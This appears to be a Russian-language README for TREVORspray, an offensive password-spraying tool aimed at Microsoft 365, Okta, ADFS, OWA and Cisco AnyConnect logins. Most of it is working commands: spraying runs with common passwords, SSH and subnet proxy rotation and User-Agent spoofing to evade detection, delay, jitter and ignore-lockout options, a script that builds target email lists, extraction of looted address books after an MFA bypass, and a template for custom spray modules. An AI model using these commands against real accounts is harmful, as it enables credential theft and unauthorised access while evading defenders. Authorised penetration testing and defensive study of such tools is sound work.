Модульный инструмент password spray с проксировкой через SSH-хосты или подсети: определяет статус аккаунта (заблокирован, MFA, существует) и поддерживает Microsoft 365, Okta, ADFS и другие провайдеры.
# pip pip install trevorspray # Из исходников git clone https://github.com/blacklanternsecurity/trevorspray cd trevorspray && pip install -e . # Пример: spray Office 365 trevorspray spray -u users.txt -p 'Summer2024!' --ms-office 365
TREVORspray — это модульный инструмент для перебора паролей с поддержкой многопоточности, проксирования через SSH, модулей для извлечения данных и многого другого!
Автор: @thetechr0mancer
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray
Смотрите сопроводительную статью в блоге для забавного рант и крутых демо!

msol (Office 365)adfs (Active Directory Federation Services)owa (Outlook Web App)okta (Okta SSO)anyconnect (Cisco VPN)~/.trevorspray/tried_logins.txt)--ssh или --subnetUser-Agent и другие сигнатуры, чтобы выглядеть как легитимный трафик аутентификации--delay, --jitter и --lockout-delay между запросами для обхода блокировок--no-loot)--recon со следующими возможностями:--recon и --users):OneDriveAzure Seamless SSOcorp.com и выполните перебор, чтобы проверить, работает ли конфигурация по умолчанию. Обычно работает.token_endpoint с помощью --recon corp.com. token_endpoint — это URL, по которому будет выполняться перебор (с помощью опции --url).token_endpoint и формата электронной почты.corp.com, это может быть не так просто, как перебор для corp.com. Может оказаться, что материнская компания Корпа — Evilcorp — владеет их тенантом Azure, а значит, вам нужно перебирать по token_endpoint домена evilcorp.com. Также может выясниться, что вместо corp.com используется внутренний домен corp.local.bob@corp.com по token_endpoint corp.com вы перебираете bob@evilcorp.com по token_endpoint evilcorp.com.trevorspray --recon evilcorp.com
...
"token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...
trevorspray --recon evilcorp.com -u emails.txt --threads 10

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token
trevorspray -u bob@evilcorp.com -p 'Welcome123' --delay 5
-n)trevorspray -u emails.txt -p 'Welcome123' --ssh root@1.2.3.4 root@4.3.2.1
# клонируйте набор данных wordsmith
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data
# упорядочите первую букву по частоте встречаемости
ordered_letters=asjmkdtclrebnghzpyivfowqux
# пройдитесь по первым буквам
echo -n $ordered_letters | while read -n1 f; do
# пройдитесь по 2000 самым популярным фамилиям в США
head -n 2000 'usa/lnames.txt' | while read last; do
# сгенерируйте электронные адреса в формате f.last
echo "${f}.${last}@evilcorp.com"
done
done | tee f.last.txt
trevorspray -u f.last.txt -p 'Welcome123'
Когда TREVORspray успешно обходит MFA и извлекает офлайн-адресную книгу (OAB), адресная книга скачивается в формате LZX в папку ~/.trevorspray/loot. LZX — это древний и неприятный алгоритм сжатия, используемый Microsoft.
# получите libmspack (для извлечения LZX-файлов)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make
# извлеките LZX-файл
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# извлеките все строки
strings oab.bin
# извлеките и удалите дубликаты электронных адресов
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
[-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
[-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]
Спрей-инструмент для проверки паролей с возможностью балансировки нагрузки через SSH-хосты
options:
-h, --help показать это справочное сообщение и выйти
basic arguments:
-m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
Модуль для проверки паролей (по умолчанию: msol)
-up, --userpass USERPASS [USERPASS ...]
файл(ы) с парами "имя_пользователя:пароль" (формат: 'имя_пользователя:пароль')
-u, --users USERS [USERS ...]
Имя(ена) пользователей и/или файл(ы) с именами пользователей
-p, --passwords PASSWORDS [PASSWORDS ...]
Пароль(и) и/или файл(ы) с паролями
--url URL URL-адрес для проверки
-r, --recon, --enumerate DOMAIN
Получает MX-записи и информацию, связанную с аутентификацией, электронной почтой, Azure, Microsoft 365 и т.д. Если указаны --usernames, это также включает перечисление пользователей.
--export-tenants FILE
Экспортировать все обнаруженные домены арендаторов в файл
advanced arguments:
Циклическая балансировка трафика через удаленные системы по SSH (перезаписывает --threads)
-t, --threads THREADS
Максимальное количество одновременных запросов (по умолчанию: 1)
-f, --force Попробовать все имена пользователей/пароли, даже если они уже проверялись
-d, --delay DELAY Пауза в столько-то секунд между запросами
-ld, --lockout-delay LOCKOUT_DELAY
Дополнительная пауза в столько-то секунд при обнаружении блокировки
-j, --jitter JITTER Добавить случайную задержку до стольких-то секунд между запросами
-e, --exit-on-success
Остановить проверку при нахождении действительных учетных данных
-nl, --no-loot Не выполнять действия по сбору данных для действительных учетных записей
--ignore-lockouts Принудительно продолжать проверку и не останавливаться при обнаружении множественных блокировок учетных записей
--timeout TIMEOUT Тайм-аут соединения в секундах (по умолчанию: 10)
--random-useragent Добавлять случайное значение в User-Agent для каждого запроса
-6, --prefer-ipv6 Предпочитать IPv6 вместо IPv4
--proxy PROXY Прокси для использования в запросах HTTP и HTTPS
-v, --verbose, --debug
Показывать, какой прокси используется для каждого запроса
SSH Proxy:
Циклическая балансировка трафика через удаленные системы по SSH (перезаписывает --threads)
-s, --ssh USER@SERVER [USER@SERVER ...]
Циклическая балансировка нагрузки через эти SSH-хосты (пользователь@хост) ПРИМЕЧАНИЕ: Текущий IP-адрес также используется один раз за цикл
-i, -k, --key KEY Использовать этот SSH-ключ при подключении к прокси-хостам
-b, --base-port BASE_PORT
Базовый слушающий порт для SOCKS-прокси
-n, --no-current-ip Не проверять с текущего IP-адреса, использовать только SSH-прокси
Subnet Proxy:
Отправлять трафик со случайных адресов внутри IP-подсети
--subnet SUBNET Подсеть, с которой отправлять пакеты
--interface INTERFACE
Интерфейс, через который отправлять пакеты
Если вам нужно проверить сервис/эндпоинт, который пока не поддерживается, вы можете написать собственный модуль для проверки! Это отличный вариант, так как пользовательские модули получают доступ ко всем функциям TREVORspray — например, прокси, задержкам, джиттеру и т.д.
Написание собственного модуля проверки довольно простое. Создайте новый .py файл в lib/sprayers (например, lib/sprayers/custom_sprayer.py), и создайте класс, который наследуется от BaseSprayModule. Класс можно назвать как угодно. Заполните HTTP-метод и любые другие параметры, необходимые в запросах (примеры можно посмотреть в lib/sprayers/base.py или в любом другом модуле).
- Вам нужно реализовать всего один метод в вашем пользовательском классе: check_response(). Этот метод анализирует HTTP-ответ, чтобы определить, был ли вход успешным.
- Когда вы закончите, вы можете использовать пользовательский модуль проверки, указав имя вашего Python-файла (без .py) в командной строке, например: trevorspray -m custom_sprayer -u users.txt -p Welcome123.
# Пример модуля проверки
from .base import BaseSprayModule
class SprayModule(BaseSprayModule):
# HTTP method
method = 'POST'
# default target URL
default_url = 'https://login.evilcorp.com/'
# body of request
request_data = 'user={username}&pass={password}&group={otherthing}'
# HTTP headers
headers = {}
# HTTP cookies
cookies = {}
# Don't count nonexistent accounts as failed logons
fail_nonexistent = False
headers = {
'User-Agent': 'Your Moms Smart Vibrator',
}
def initialize(self):
'''
Get additional arguments from user at runtime
NOTE: These can also be passed via environment variables beginning with "TREVOR_":
TREVOR_otherthing=asdf
'''
while not self.trevor.runtimeparams.get('otherthing', ''):
self.trevor.runtimeparams.update({
'otherthing': input("What's that other thing? ")
})
return True
def check_response(self, response):
'''
returns (valid, exists, locked, msg)
'''
valid = False
exists = None
locked = None
msg = ''
if getattr(response, 'status_code', 0) == 200:
valid = True
exists = True
msg = 'Valid cred'
return (valid, exists, locked, msg)
БЛАГОДАРНОСТЬ — ОГРОМНОЕ СПАСИБО: - @dafthack за написание MSOLSpray - @Mrtn9 за его порт MSOLSpray на Python MSOLSpray - @KnappySqwurl за волшебство со Splunk - @CarsonSallis за обходы MFA для O365 - @DrAzureAD за функции разведки Azure AD (AADInternals) - @nyxgeek за перечисление пользователей OneDrive (onedrive_user_enum) - @gremwell за перечисление пользователей Seamless SSO (o365enum)

#trevorforget